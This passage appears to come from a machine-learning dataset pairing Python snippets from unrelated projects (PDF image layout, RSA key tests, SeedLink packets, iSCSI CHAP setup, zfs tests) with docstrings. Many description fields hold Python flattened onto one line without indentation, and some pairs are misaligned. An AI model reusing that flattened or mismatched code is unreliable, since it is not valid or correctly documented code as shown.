fitheightnewimgwidth = (newimgheight * imgwidth) / imgheightelif fitwidth is None and fitheight is not None:newimgheight = fitheightnewimgwidth = (newimgheight * imgwidth) / imgheightelif fitheight is None and fitwidth is not None:newimgwidth = fitwidthnewimgheight = (newimgwidth * imgheight) / imgwidthelse:raise ValueError(\"fitwidth and fitheight cannot both be None\")return newimgwidth, newimgheightelif fit == FitMode.exact:if fitwidth is not None and fitheight is not None:return fitwidth, fitheightelif fitwidth is None and fitheight is not None:newimgheight = fitheightnewimgwidth = (newimgheight * imgwidth) / imgheightelif fitheight is None and fitwidth is not None:newimgwidth = fitwidthnewimgheight = (newimgwidth * imgheight) / imgwidthelse:raise ValueError(\"fitwidth and fitheight cannot both be None\")return newimgwidth, newimgheightelif fit == FitMode.shrink:if fitwidth is not None and fitheight is not None:if imgwidth <= fitwidth and imgheight <= fitheight:return imgwidth, imgheightelif fitwidth is None and fitheight is not None:if imgheight <= fitheight:return imgwidth, imgheightelif fitheight is None and fitwidth is not None:if imgwidth <= fitwidth:return imgwidth, imgheightelse:raise ValueError(\"fitwidth and fitheight cannot both be None\")return default()elif fit == FitMode.enlarge:if fitwidth is not None and fitheight is not None:if imgwidth > fitwidth or imgheight > fitheight:return imgwidth, imgheightelif fitwidth is None and fitheight is not None:if imgheight > fitheight:return imgwidth, imgheightelif fitheight is None and fitwidth is not None:if imgwidth > fitwidth:return imgwidth, imgheightelse:raise ValueError(\"fitwidth and fitheight cannot both be None\")return default()else:raise NotImplementedError# if no layout arguments are given, then the image size is equal to the# page size and will be drawn with the default dpiif pagesize is None and imgsize is None and border is None:return default_layout_funif pagesize is None and imgsize is None and border is not None:def layout_fun(imgwidthpx, imgheightpx, ndpi):imgwidthpdf = px_to_pt(imgwidthpx, ndpi[0])imgheightpdf = px_to_pt(imgheightpx, ndpi[1])pagewidth = imgwidthpdf + 2 * border[1]pageheight = imgheightpdf + 2 * border[0]return pagewidth, pageheight, imgwidthpdf, imgheightpdfreturn layout_funif border is None:border = (0, 0)# if the pagesize is given but the imagesize is not, then the imagesize# will be calculated from the pagesize, taking into account the border# and the fittingif pagesize is not None and imgsize is None:def layout_fun(imgwidthpx, imgheightpx, ndpi):if (pagesize[0] is not Noneand pagesize[1] is not Noneand auto_orientand ((imgwidthpx > imgheightpx and pagesize[0] < pagesize[1])or (imgwidthpx < imgheightpx and pagesize[0] > pagesize[1]))):pagewidth, pageheight = pagesize[1], pagesize[0]newborder = border[1], border[0]else:pagewidth, pageheight = pagesize[0], pagesize[1]newborder = borderif pagewidth is not None:fitwidth = pagewidth - 2 * newborder[1]else:fitwidth = Noneif pageheight is not None:fitheight = pageheight - 2 * newborder[0]else:fitheight = Noneif (fit in [FitMode.fill, FitMode.enlarge]and fitwidth is not Noneand fitwidth < 0and fitheight is not Noneand fitheight < 0):raise NegativeDimensionError(\"at least one border dimension musts be smaller than half \"\"the respective page dimension\")elif fit not in [FitMode.fill, FitMode.enlarge] and ((fitwidth is not None and fitwidth < 0)or (fitheight is not None and fitheight < 0)):raise NegativeDimensionError(\"one border dimension is larger than half of the \"\"respective page dimension\")imgwidthpdf, imgheightpdf = fitfun(fit,px_to_pt(imgwidthpx, ndpi[0]),px_to_pt(imgheightpx, ndpi[1]),fitwidth,fitheight,)if pagewidth is None:pagewidth = imgwidthpdf + border[1] * 2if pageheight is None:pageheight = imgheightpdf + border[0] * 2return pagewidth, pageheight, imgwidthpdf, imgheightpdfreturn layout_fundef scale_imgsize(s, px, dpi):if s is None:return Nonemode, value = sif mode == ImgSize.abs:return valueif mode == ImgSize.perc:return (px_to_pt(px, dpi) * value) / 100if mode == ImgSize.dpi:return px_to_pt(px, value)raise NotImplementedErrorif pagesize is None and imgsize is not None:def layout_fun(imgwidthpx, imgheightpx, ndpi):imgwidthpdf, imgheightpdf = fitfun(fit,px_to_pt(imgwidthpx, ndpi[0]),px_to_pt(imgheightpx, ndpi[1]),scale_imgsize(imgsize[0], imgwidthpx, ndpi[0]),scale_imgsize(imgsize[1], imgheightpx, ndpi[1]),)pagewidth = imgwidthpdf + 2 * border[1]pageheight = imgheightpdf + 2 * border[0]return pagewidth, pageheight, imgwidthpdf, imgheightpdfreturn layout_funif pagesize is not None and imgsize is not None:def layout_fun(imgwidthpx, imgheightpx, ndpi):if (pagesize[0] is not Noneand pagesize[1] is not Noneand auto_orientand ((imgwidthpx > imgheightpx and pagesize[0] < pagesize[1])or (imgwidthpx < imgheightpx and pagesize[0] > pagesize[1]))):pagewidth, pageheight = pagesize[1], pagesize[0]else:pagewidth, pageheight = pagesize[0], pagesize[1]imgwidthpdf, imgheightpdf = fitfun(fit,px_to_pt(imgwidthpx, ndpi[0]),px_to_pt(imgheightpx, ndpi[1]),scale_imgsize(imgsize[0], imgwidthpx, ndpi[0]),scale_imgsize(imgsize[1], imgheightpx, ndpi[1]),)return pagewidth, pageheight, imgwidthpdf, imgheightpdfreturn layout_funraise NotImplementedErrordef default_layout_fun(imgwidthpx, imgheightpx, ndpi):imgwidthpdf = pagewidth = px_to_pt(imgwidthpx, ndpi[0])imgheightpdf = pageheight = px_to_pt(imgheightpx, ndpi[1])return pagewidth, pageheight, imgwidthpdf, imgheightpdfdef get_fixed_dpi_layout_fun(fixed_dpi):Layout function that overrides whatever DPI is claimed in input images."} {"code": "def forward(self, x):\n x = self.shared_layer(x)\n block_params = []\n for block in range(self.num_blocks):\n block_param_dict = {\n 'gamma1': self.gamma1_processors[block](x).squeeze() * self.gamma1_regularizers[block] +\n torch.ones_like(self.gamma1_regularizers[block]),\n 'beta1': self.beta1_processors[block](x).squeeze() * self.beta1_regularizers[block],\n 'gamma2': self.gamma2_processors[block](x).squeeze() * self.gamma2_regularizers[block] +\n torch.ones_like(self.gamma2_regularizers[block]),\n 'beta2': self.beta2_processors[block](x).squeeze() * self.beta2_regularizers[block]\n }\n block_params.append(block_param_dict)\n return block_params\n", "nl": "Forward pass through adaptation network.:param x: (torch.tensor) Input representation to network (task level representation z).:return: (list::dictionaries) Dictionary for every block in layer. Dictionary contains all the parametersnecessary to adapt layer in base network. Base network is aware of dict structure and can pull paramsout during forward pass."} {"code": "def test_construct_6tuple(self):\n\n rsa_key = self.rsa.generate(1024)\n self.assertRaises(PicklingError, pickle.dumps, rsa_key)\n", "nl": "RSA (default implementation) constructed key (6-tuple)rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q, self.u))self._check_private_key(rsaObj)self._check_encryption(rsaObj)self._check_decryption(rsaObj)def test_construct_bad_key2(self):tup = (self.n, 1)self.assertRaises(ValueError, self.rsa.construct, tup)# An even modulus is wrongtup = (self.n+1, self.e)self.assertRaises(ValueError, self.rsa.construct, tup)def test_construct_bad_key3(self):tup = (self.n, self.e, self.d+1)self.assertRaises(ValueError, self.rsa.construct, tup)def test_construct_bad_key5(self):tup = (self.n, self.e, self.d, self.p, self.p)self.assertRaises(ValueError, self.rsa.construct, tup)tup = (self.p*self.p, self.e, self.p, self.p)self.assertRaises(ValueError, self.rsa.construct, tup)tup = (self.p*self.p, 3, self.p, self.q)self.assertRaises(ValueError, self.rsa.construct, tup)def test_construct_bad_key6(self):tup = (self.n, self.e, self.d, self.p, self.q, 10)self.assertRaises(ValueError, self.rsa.construct, tup)from Crypto.Util.number import inversetup = (self.n, self.e, self.d, self.p, self.q, inverse(self.q, self.p))self.assertRaises(ValueError, self.rsa.construct, tup)def test_factoring(self):rsaObj = self.rsa.construct([self.n, self.e, self.d])self.failUnless(rsaObj.p==self.p or rsaObj.p==self.q)self.failUnless(rsaObj.q==self.p or rsaObj.q==self.q)self.failUnless(rsaObj.q*rsaObj.p == self.n)self.assertRaises(ValueError, self.rsa.construct, [self.n, self.e, self.n-1])def test_repr(self):rsaObj = self.rsa.construct((self.n, self.e, self.d, self.p, self.q))repr(rsaObj)def test_serialization(self):RSA keys are unpickable"} {"code": "def special_cases(idx):\n idx_mapper = {\n 266: 267,\n 267: 268,\n 268: 266,\n 299: 300,\n 300: 301,\n 301: 299\n }\n\n actual_idx = idx_mapper[idx] if idx in idx_mapper else idx\n return actual_idx, model.layers[actual_idx]\n\n if weights is None:\n dir_path = os.path.dirname(os.path.realpath(__file__))\n project_root = os.path.join(dir_path, os.pardir, os.pardir, os.pardir)\n weights = os.path.join(project_root, 'pretrained', 'torch_enet.pkl')\n if not os.path.isfile(weights):\n print('ENet has found no compatible pretrained weights! Skipping weight transfer...')\n else:\n weights = os.path.abspath(weights)\n print('Loading pretrained weights from {}'.format(weights))\n with open(weights, 'rb') as fin:\n weights_mem = pkl.load(fin)\n idx = 0\n for num, layer in enumerate(model.layers):\n actual_num, layer = special_cases(num)\n\n if not layer.weights:\n continue\n\n item = weights_mem[idx]\n layer_name = item['torch_typename']\n new_values = layer.get_weights()\n if layer_name in ['cudnn.SpatialConvolution',\n 'nn.SpatialDilatedConvolution']:\n if 'bias' in item:\n new_values = [item['weight'], item['bias']]\n else:\n new_values = [item['weight']]\n elif layer_name == 'nn.SpatialBatchNormalization':\n new_values = [item['gamma'], item['beta'],\n item['moving_mean'], item['moving_variance']]\n elif layer_name == 'nn.PReLU':\n new_values = [item['weight']]\n elif layer_name == 'nn.SpatialFullConvolution':\n if keep_top:\n if 'bias' in item:\n new_values = [item['weight'], item['bias']]\n else:\n new_values = [item['weight']]\n else:\n print('Unhandled layer type \"{}\"'.format(layer_name))\n layer.set_weights(new_values)\n idx += 1\n return model\n\n", "nl": "Handles special cases due to non-matching layer sequences:param idx: original index of layer:return: the corrected index of the layer as well as the corresponding layer"} {"code": "def convertSent2NerToMentionLines(self):\n start and end are inclusive\n '''", "nl": "Convert NERs from document to list of mention stringsmentions = []# Make Document Context String for whole documentcohStr = \"\"for sent_idx, s_nerDicts in self.sentidx2ners.items():for s, ner in s_nerDicts:cohStr += ner['tokens'].replace(' ', '_') + ' 'cohStr = cohStr.strip()for idx in range(0, len(self.sentences_tokenized)):if idx in self.sentidx2ners:sentence = ' '.join(self.sentences_tokenized[idx])s_nerDicts = self.sentidx2ners[idx]for s, ner in s_nerDicts:mention = \"%s\\t%s\\t%s\" % (\"unk_mid\", \"unk_wid\", \"unkWT\")mention = mention + str('\\t') + str(ner['start'])mention = mention + '\\t' + str(ner['end'])mention = mention + '\\t' + str(ner['tokens'])mention = mention + '\\t' + sentencemention = mention + '\\t' + \"UNK_TYPES\"mention = mention + '\\t' + cohStrmentions.append(mention)return mentionsdef bracketMentionInSentence(self, s, nerDict):tokens = s.split(\" \")start = nerDict['start']end = nerDict['end']tokens.insert(start, '[[')tokens.insert(end + 2, ']]')return ' '.join(tokens)def _read_mention(self):mention = self.mentions[self.men_idx]self.men_idx += 1if self.men_idx == self.num_mens:self.men_idx = 0self.epochs += 1return mentiondef _next_batch(self): Data : wikititle \\t mid \\t wid \\t start \\t end \\t tokens \\t labels"} {"code": "def __discovery_url(self):\n return \"http://%s:%s/%s\" % (self.options.agent_host, self.options.agent_port, self.AGENT_DISCOVERY_PATH)\n", "nl": "URL for announcing to the host agent"} {"code": "def apply_(self, func):\n return self.__lazy_map(func)\n", "nl": "Applies function to all non-iterable elements of the iterable."} {"code": "def show(self, caller_is_main: bool):\n pass\n", "nl": "Displays the previously setup GUI.This method is blocking and returns only when the GUI is hidden.This method will always be called after setup().Args:caller_is_main: True if the calling script is the __main__ module."} {"code": "def set_items(self, jid, node, ifrom, data):\n with self.lock:\n items = data.get('items', set())\n self.add_node(jid, node)\n self.get_node(jid, node)['items']['items'] = items\n", "nl": "Replace the stored items data for a JID/node combination.The data parameter may provide:items -- A set of items in tuple format."} {"code": "def packet_handler(self, count, slpack):\n if slpack is None or (slpack == SLPacket.SLNOPACKET) or \\\n (slpack == SLPacket.SLERROR):\n return False\n\n seqnum = slpack.get_sequence_number()\n type = slpack.get_type()\n\n if (type == SLPacket.TYPE_SLINF):\n return False\n if (type == SLPacket.TYPE_SLINFT):\n print(\"Complete INFO:\\n\" + self.slconn.get_info_string())\n if self.infolevel is not None:\n return True\n else:\n return False\n\n try:\n if (count % 100 == 0):\n infostr = \"ID\"\n self.slconn.request_info(infostr)\n except SeedLinkException as sle:\n print(self.__class__.__name__ + \": \" + sle.value)\n\n print(self.__class__.__name__ + \": packet seqnum:\", end=' ')\n print(str(seqnum) + \": blockette type: \" + str(type))\n if not self.ppackets:\n return False\n\n trace = slpack.get_trace()\n if trace is not None:\n print(self.__class__.__name__ + \": blockette contains a trace: \")\n print(trace.id, trace.stats['starttime'], end=' ')\n print(\" dt:\" + str(1.0 / trace.stats['sampling_rate']), end=' ')\n print(\" npts:\" + str(trace.stats['npts']), end=' ')\n print(\" sampletype:\" + str(trace.stats['sampletype']), end=' ')\n print(\" dataquality:\" + str(trace.stats['dataquality']))\n if self.verbose >= 3:\n print(self.__class__.__name__ + \":\")\n print(\"blockette contains a trace: \" + str(trace.stats))\n else:\n print(self.__class__.__name__ + \": blockette contains no trace\")\n return False\n", "nl": "Processes each packet received from the SeedLinkConnection.This method should be overridden when sub-classing SLClient.:type count: int:param count: Packet counter.:type slpack: :class:`~obspy.clients.seedlink.slpacket.SLPacket`:param slpack: packet to process.:rtype: bool:return: True if connection to SeedLink server should be closed andsession terminated, False otherwise."} {"code": "def release(self):\n if self._locked:\n self._locked = False\n self._wake_up_first()\n else:\n raise RuntimeError('Lock is not acquired.')\n", "nl": "Release a lock.When the lock is locked, reset it to unlocked, and return.If any other coroutines are blocked waiting for the lock to becomeunlocked, allow exactly one of them to proceed.When invoked on an unlocked lock, a RuntimeError is raised.There is no return value."} {"code": "def set_chap_acls_target(self):\n acls_cmd = \"targetcli /iscsi/%s/tpg1/ \" % self.target\n attr_cmd = \"set attribute generate_node_acls=0\"\n process.system(acls_cmd + attr_cmd)\n\n acls_cmd = (\"targetcli /iscsi/%s/tpg1/acls/ create %s:client\"\n % (self.target, self.target.split(\":\")[0]))\n output = process.run(acls_cmd).stdout_text\n if \"Created Node ACL\" not in output:\n raise exceptions.TestFail(\"Failed to create ACL. (%s)\" % output)\n\n comm_cmd = (\"targetcli /iscsi/%s/tpg1/acls/%s:client/\"\n % (self.target, self.target.split(\":\")[0]))\n userid_cmd = \"%s set auth userid=%s\" % (comm_cmd, self.chap_user)\n output = process.run(userid_cmd).stdout_text\n if self.chap_user not in output:\n raise exceptions.TestFail(\"Failed to set user. (%s)\" % output)\n\n passwd_cmd = \"%s set auth password=%s\" % (comm_cmd, self.chap_passwd)\n output = process.run(passwd_cmd).stdout_text\n if self.chap_passwd not in output:\n raise exceptions.TestFail(\"Failed to set password. (%s)\" % output)\n\n process.system(\"targetcli / saveconfig\")\n", "nl": "set CHAP(acls) authentication on a target.it will require authenticationbefore an initiator is allowed to log in and access devices.notice:Individual ACL entries override common TPG Authentication,which can be set by set_chap_auth_target()."} {"code": "def extract_relationships(self):\n for obj in self.classes():\n node = obj.node\n obj.attrs = self.get_attrs(node)\n obj.methods = self.get_methods(node)\n if is_interface(node):\n obj.shape = \"interface\"\n else:\n obj.shape = \"class\"\n for par_node in node.ancestors(recurs=False):\n try:\n par_obj = self.object_from_node(par_node)\n self.add_relationship(obj, par_obj, \"specialization\")\n except KeyError:\n continue\n for impl_node in node.implements:\n try:\n impl_obj = self.object_from_node(impl_node)\n self.add_relationship(obj, impl_obj, \"implements\")\n except KeyError:\n continue\n for name, values in list(node.instance_attrs_type.items()) + list(\n node.locals_type.items()\n ):\n for value in values:\n if value is astroid.Uninferable:\n continue\n if isinstance(value, astroid.Instance):\n value = value._proxied\n try:\n associated_obj = self.object_from_node(value)\n self.add_relationship(associated_obj, obj, \"association\", name)\n except KeyError:\n continue\n\n\nclass PackageDiagram(ClassDiagram):\n \"\"\"package diagram handling\n\n TYPE = \"package\"\n", "nl": "extract relation ships between nodes in the diagram"} {"code": "def example_check_result_v2():\n\n return check_result\n\n", "nl": "check_result = {\"entity\": {\"id\": \"test_entity\",\"subscriptions\": [\"sub1\",\"sub2\",\"sub3\"]},\"check\": {\"name\": \"test_check\",\"output\": \"test_output\",\"subscriptions\": [\"sub1\",\"sub2\",\"sub3\"],\"proxy_entity_id\": \"test_proxy\",\"total_state_change\": 4,\"state\":\"failing\",\"history\": [{\"status\": 0,\"executed\": 0},{\"status\": 1,\"executed\": 1},{\"status\": 2,\"executed\": 2},{\"status\": 3,\"executed\": 3},{\"status\":0,\"executed\":4}],\"status\": 0},\"occurrences\": 1}"} {"code": "def generate_anchors_pre(height, width, feat_stride, anchor_scales=(8,16,32), anchor_ratios=(0.5,1,2)):\n anchors = generate_anchors(ratios=np.array(anchor_ratios), scales=np.array(anchor_scales))\n A = anchors.shape[0]\n shift_x = np.arange(0, width) * feat_stride\n shift_y = np.arange(0, height) * feat_stride\n shift_x, shift_y = np.meshgrid(shift_x, shift_y)\n shifts = np.vstack((shift_x.ravel(), shift_y.ravel(), shift_x.ravel(), shift_y.ravel())).transpose()\n K = shifts.shape[0]\n anchors = anchors.reshape((1, A, 4)) + shifts.reshape((1, K, 4)).transpose((1, 0, 2))\n anchors = anchors.reshape((K * A, 4)).astype(np.float32, copy=False)\n length = np.int32(anchors.shape[0])\n\n return anchors, length", "nl": " A wrapper function to generate anchors given different scalesAlso return the number of anchors in variable 'length'"} {"code": "def asRGBA8(self):\n\n return self._as_rescale(self.asRGBA, 8)\n", "nl": "Return the image data as RGBA pixels with 8-bits persample. This method is similar to :meth:`asRGB8` and:meth:`asRGBA`: The result pixels have an alpha channel, *and*values are rescaled to the range 0 to 255. The alpha channel issynthesized if necessary (with a small speed penalty)."} {"code": "def test_copy_file_to_worker_create_intermediate(self):\n file.\"\"\"", "nl": "Test file_impl.copy_file_to_worker (create intermediates).request_iterator = (untrusted_runner_pb2.FileChunk(data=b'A'),untrusted_runner_pb2.FileChunk(data=b'B'),untrusted_runner_pb2.FileChunk(data=b'C'),)context = mock.MagicMock()context.invocation_metadata.return_value = (('path-bin', b'/new_dir/file'),)response = file_impl.copy_file_to_worker(request_iterator, context)self.assertTrue(response.result)self.assertTrue(os.path.exists('/new_dir/file'))with open('/new_dir/file') as f:self.assertEqual('ABC', f.read())def test_copy_file_to_worker_create_dir_is_a_file(self):Test file_impl.copy_file_to_worker when the directory is an existing"} {"code": "def viewport_size(self):\n return self._viewport_size\n\n @property", "nl": "(2,) int : The width and height of the viewing window."} {"code": "def for_request(cls, request, channel, client_token=None):\n subscription = cls.for_channel(channel=channel, client_token=client_token)\n subscription.headers.write(request.headers)\n if request.method != 'GET':\n raise InvalidSubscriptionRequestError(\n 'Can only subscribe to requests which are GET.')\n request.method = 'POST'\n", "nl": "Creates a subscription and attaches it to a request.Args:request: An http.HttpRequest to modify for making a subscription.channel: A apiclient.push.Channel describing the subscription tocreate.client_token: (optional) client token to verify the notification.Returns:New subscription object."} {"code": "def apply_process_hardenings():\n\n exec_shell([\n 'update-motd --disable',\n 'chown root:root /etc/motd',\n 'chmod 644 /etc/motd'\n ])\n File('/etc/motd').write(get_string_asset('/etc/motd'))\n\n exec_shell(['chown root:root /etc/issue', 'chmod 644 /etc/issue'])\n File('/etc/issue').write('Authorized uses only. All activity may be monitored and reported.\\n')\n\n exec_shell(['chown root:root /etc/issue.net', 'chmod 644 /etc/issue.net'])\n File('/etc/issue.net').write('Authorized uses only. All activity may be monitored and reported.\\n')\n\n", "nl": "1.5 Additional Process Hardening# 1.5.1 Ensure core dumps are restrictedPropertyFile('/etc/security/limits.conf', ' ').override({'* hard core': '0'}).write()PropertyFile('/etc/sysctl.conf', ' = ').override({'fs.suid_dumpable': '0'}).write()# 1.5.3 Ensure address space layout randomization (ASLR) is enablePropertyFile('/etc/sysctl.conf', ' = ').override({'kernel.randomize_va_space': '2'}).write()# 1.5.4 Ensure prelink is disabledPackage('prelink').remove()def configure_warning_banners():1.7 Warning Banners"} {"code": "def same_html(widget, html):\n widget = ReportsWidget(None)\n qtbot.addWidget(widget)\n return widget\n\n\n@pytest.fixture", "nl": "Check if certain html content is exactly the same in a web widget.if WEBENGINE:def callback(data):global HTMLHTML = datawidget.toHtml(callback)try:return html == HTMLexcept NameError:return Falseelse:return html == widget.mainFrame().toHtml()@pytest.fixturedef setup_reports(qtbot):Set up reports."} {"code": "def define_macro(self, name, value=None):", "nl": "Define a preprocessor macro for all compilations driven by thiscompiler object. The optional parameter 'value' should be astring; if it is not supplied, then the macro will be definedwithout an explicit value and the exact outcome depends on thecompiler used (XXX true? does ANSI say anything about this?)"} {"code": "def copy(self):\n\n status_code = 200\n", "nl": "Returns a mutable copy of this object.return self.__deepcopy__({})def urlencode(self):output = []for k, list_ in self.lists():k = smart_str(k, self.encoding)output.extend([urlencode({k: smart_str(v, self.encoding)}) for v in list_])return '&'.join(output)def parse_cookie(cookie):if cookie == '':return {}try:c = SimpleCookie()c.load(cookie)except CookieError:# Invalid cookiereturn {}cookiedict = {}for key in c.keys():cookiedict[key] = c.get(key).valuereturn cookiedictclass HttpResponse(object):A basic HTTP response, with content and dictionary-accessed headers."} {"code": "default in case the command should fail.\n binary) for various architecture information.\n\n Returns a tuple (bits, linkage) which contains information about\n the bit architecture and the linkage format used for the\n executable. Both values are returned as strings.\n\n Values that cannot be determined are returned as given by the\n parameter presets. If bits is given as '', the sizeof(pointer)\n (or sizeof(long) on Python version < 1.5.2) is used as\n indicator for the supported pointer size.\n\n The function relies on the system's \"file\" command to do the\n actual work. This is available on most if not all Unix\n platforms. On some non-Unix platforms where the \"file\" command\n does not exist and the executable is set to the Python interpreter", "nl": "if sys.platform in ('dos', 'win32', 'win16'):# XXX Others too ?return defaulttarget = _follow_symlinks(target)try:proc = subprocess.Popen(['file', target],stdout=subprocess.PIPE, stderr=subprocess.STDOUT)except (AttributeError, OSError):return defaultoutput = proc.communicate()[0].decode('latin-1')rc = proc.wait()if not output or rc:return defaultelse:return output### Information about the used architecture# Default values for architecture; non-empty strings override the# defaults given as parameters_default_architecture = {'win32': ('', 'WindowsPE'),'win16': ('', 'Windows'),'dos': ('', 'MSDOS'),}def architecture(executable=sys.executable, bits='', linkage=''): Queries the given executable (defaults to the Python interpreter"} {"code": "def best_quality_properties(props, *guesses):\n best_guess = None\n best_rate = None\n for guess in guesses:\n for transformer in all_transformers():\n rate = transformer.rate_quality(guess, *props)\n if best_rate is None or best_rate < rate:\n best_rate = rate\n best_guess = guess\n return best_guess\n\n", "nl": "Retrieve the best quality guess, based on given properties:param props: Properties to include in the rating:type props: list of strings:param guesses: Guesses to rate:type guesses: :class:`guessit.guess.Guess`:return: Best quality guess from all passed guesses:rtype: :class:`guessit.guess.Guess`"} {"code": "def inferred_type(self):\n return lib.infer_dtype(self, skipna=False)\n\n @cache_readonly", "nl": "Return a string of the type inferred from the values."} {"code": "def select_graphic_rendition(self, *attrs):\n replace = {}\n\n if not attrs or attrs == (0, ):", "nl": "Set display attributes.:param list attrs: a list of display attributes to set."} {"code": "def cancel(self) -> None:\n raise TimeoutError()\n", "nl": "Cancel timeoutsignal.signal(signal.SIGALRM, self.old_handler)signal.setitimer(signal.ITIMER_REAL, self.old_timeout)def timeout_handler(self, signum: int, frame: Optional[FrameType]) -> None:Handle timeout (SIGALRM) signal"} {"code": "def update_target_times(self, sources=None, taperer=None):\n\n if sources is None or taperer is None:\n self.tmin = None\n self.tmax = None\n else:\n tolerance = 2 * (taperer.b - taperer.a)\n self.tmin = taperer.a - tolerance\n self.tmax = taperer.d + tolerance\n\n\nclass SeismicDataset(trace.Trace):\n \"\"\"\n\n wavename = None\n covariance = None\n\n @property", "nl": "Update the target attributes tmin and tmax to do the stackingonly in this interval. Adds twice taper fade in time to each taperside.Parameters----------source : listcontaining :class:`pyrocko.gf.seismosizer.Source` Objectstaperer : :class:`pyrocko.trace.CosTaper`"} {"code": "def _crypt_secret_to_key(secret):\n return sum((byte_elem_value(c) & 0x7f) << (57-i*8)\n for i, c in enumerate(secret[:8]))\n", "nl": "convert secret to 64-bit DES key.this only uses the first 8 bytes of the secret,and discards the high 8th bit of each byte at that.a null parity bit is inserted after every 7th bit of the output."} {"code": "def has_named_grouping_policy(self, ptype, *params):\n\n If the rule already exists, the function returns false and the rule will not be added.\n Otherwise the function returns true by adding the new rule.\n \"\"\"", "nl": "determines whether a named role inheritance rule exists.if len(params) == 1 and isinstance(params[0], list):str_slice = params[0]return self.model.has_policy(\"g\", ptype, str_slice)return self.model.has_policy(\"g\", ptype, list(params))def add_grouping_policy(self, *params):adds a role inheritance rule to the current policy."} {"code": "def delete(self, item):\n loc = self.items.get_loc(item)\n self._block.delete(loc)\n self.axes[0] = self.axes[0].delete(loc)\n", "nl": "Delete single item from SingleBlockManager.Ensures that self.blocks doesn't become empty."} {"code": "def _check_for_errors(self, response):\n if response.status_code != 200:\n xml_error = really_utf8(response.text)\n error_dom = XML.fromstring(xml_error)\n fault = error_dom.find(\".//\" + _ns_tag(\"s\", \"Fault\"))\n error_description = fault.find(\"faultstring\").text\n error_code = EXCEPTION_STR_TO_CODE[error_description]\n message = \"UPnP Error {} received: {} from {}\".format(\n error_code, error_description, self._url\n )\n raise SoCoUPnPException(\n message=message,\n error_code=error_code,\n error_description=error_description,\n error_xml=really_utf8(response.text),\n )\n\n\nSOAP_ACTION = {\n \"get_metadata\": '\"http://www.sonos.com/Services/1.1\n \"search\": '\"http://www.sonos.com/Services/1.1\n}\nEXCEPTION_STR_TO_CODE = {\"unknown\": 20000, \"ItemNotFound\": 20001}\nSEARCH_PREFIX = \"00020064{search_type}:{search}\"\nID_PREFIX = {\n MSTrack: \"00030020\",\n MSAlbum: \"0004002c\",\n MSArtist: \"10050024\",\n MSAlbumList: \"000d006c\",\n MSPlaylist: \"0006006c\",\n MSArtistTracklist: \"100f006c\",\n MSFavorites: None,\n MSCollection: None,\n}\nMIME_TYPE_TO_EXTENSION = {\"audio/aac\": \"mp4\"}\nURIS = {\n MSTrack: \"x-sonos-http:{item_id}.{extension}?sid={service_id}&flags=32\",\n MSAlbum: \"x-rincon-cpcontainer:{extended_id}\",\n MSAlbumList: \"x-rincon-cpcontainer:{extended_id}\",\n MSPlaylist: \"x-rincon-cpcontainer:{extended_id}\",\n MSArtistTracklist: \"x-rincon-cpcontainer:{extended_id}\",\n}\nNS = {\n \"s\": \"http://schemas.xmlsoap.org/soap/envelope/\",\n \"\": \"http://www.sonos.com/Services/1.1\",\n}", "nl": "Check a response for errors.:param response: the response from requests.post()"} {"code": "def _wrapper(self, rubber_stamp=lambda x: x):\n return getattr(self, 'wrapper', rubber_stamp)\n", "nl": "Subclasses define a wrapper (or not)."} {"code": "def get_train_examples(self, data_dir):\n return self._create_examples(\n self._read_tsv(os.path.join(data_dir, \"dev.tsv\")), \"dev\")\n", "nl": "See base class.return self._create_examples(self._read_tsv(os.path.join(data_dir, \"train.tsv\")), \"train\")def get_dev_examples(self, data_dir):See base class."} {"code": "def test_match_paths(add_doc, add_institution):\n\n i1 = add_institution(url='http://yale.edu')\n i2 = add_institution(url='http://yale.edu/p1')\n i3 = add_institution(url='http://yale.edu/p1/p2')\n i4 = add_institution(url='http://yale.edu/p1/p2/p3')\n\n d1 = add_doc(log=dict(url='http://yale.edu/syllabus.pdf'))\n d2 = add_doc(log=dict(url='http://yale.edu/p1/syllabus.pdf'))\n d3 = add_doc(log=dict(url='http://yale.edu/p1/p2/syllabus.pdf'))\n d4 = add_doc(log=dict(url='http://yale.edu/p1/p2/p3/syllabus.pdf'))\n\n Institution_Document.link()\n\n for i, d in [\n (i1, d1),\n (i2, d2),\n (i3, d3),\n (i4, d4),\n ]:\n\n assert Institution_Document.select().where(\n Institution_Document.institution==i,\n Institution_Document.document==d,\n )", "nl": "If the document has a path, it should be matched \"greedily\" againstthe institutions - find the institution with the longest shared path."} {"code": "def black_format(code: str, is_pyi: bool = False, line_length: int = 88) -> str:\n - Behaves the same when formatted multiple times with isort.\n - Agrees with black formatting.\n - Matches the desired output or itself if none is provided.\n \"\"\"", "nl": "Formats the provided code snippet using blacktry:return black.format_file_contents(code,fast=True,mode=black.FileMode( # type: ignoreis_pyi=is_pyi,line_length=line_length,),)except NothingChanged:return codedef black_test(code: str, expected_output: str = \"\"):Tests that the given code:"} {"code": "def getUidl(index):\n\n", "nl": "Get a unique identifier for a message.@type index: L{int}@param index: The 0-based index of a message.@rtype: L{bytes}@return: A string of printable characters uniquely identifying themessage for all time.@raise ValueError or IndexError: When the index does not correspond toa message in the mailbox. The use of ValueError is preferred."} {"code": "def backfill(self, limit=None):\n return self._fill('bfill', limit=limit)\n bfill = backfill\n\n @Substitution(name='groupby', see_also=_common_see_also)", "nl": "Backward fill the values.Parameters----------limit : integer, optionallimit of how many values to fillSee Also--------Series.backfillDataFrame.backfillSeries.fillnaDataFrame.fillna"} {"code": "def read_betti(fname, dimension, persistence):\n dims, b_values, d_values = read_bin_out(fname)\n x, betti = pd2betti(b_values, d_values)\n return norm_x_axis(x, betti, np.linspace(0.05, 0.4, 200))\n\n", "nl": "Read binary file name from DIPHA and transform to betti with normed x_axis"} {"code": "def __setstate__(self, state):\n value, version, dialect = state\n\n self._value = value\n\n if version == 48:\n self._module = _eui48\n elif version == 64:\n self._module = _eui64\n else:\n raise ValueError('unpickling failed for object state: %s' \\\n % str(state))\n\n self.dialect = dialect\n", "nl": ":param state: data used to unpickle a pickled `EUI` object."} {"code": "def test_send_exclude(self, zpools):\n fs0, fs1 = zpools\n fs0.destroy(force=True)\n fs1.destroy(force=True)\n\n raw_send = ['yes']\n config = [{'name': fs0.name, 'dest': [fs1.name], 'raw_send': raw_send}]\n\n zfs.create('{:s}/sub1'.format(fs0.name), props={'compression':'gzip'})\n zfs.create('{:s}/sub2'.format(fs0.name), props={'compression':'lz4'})\n zfs.create('{:s}/sub3'.format(fs0.name), props={'compression':'gzip'})\n zfs.create('{:s}/sub3/abc'.format(fs0.name))\n 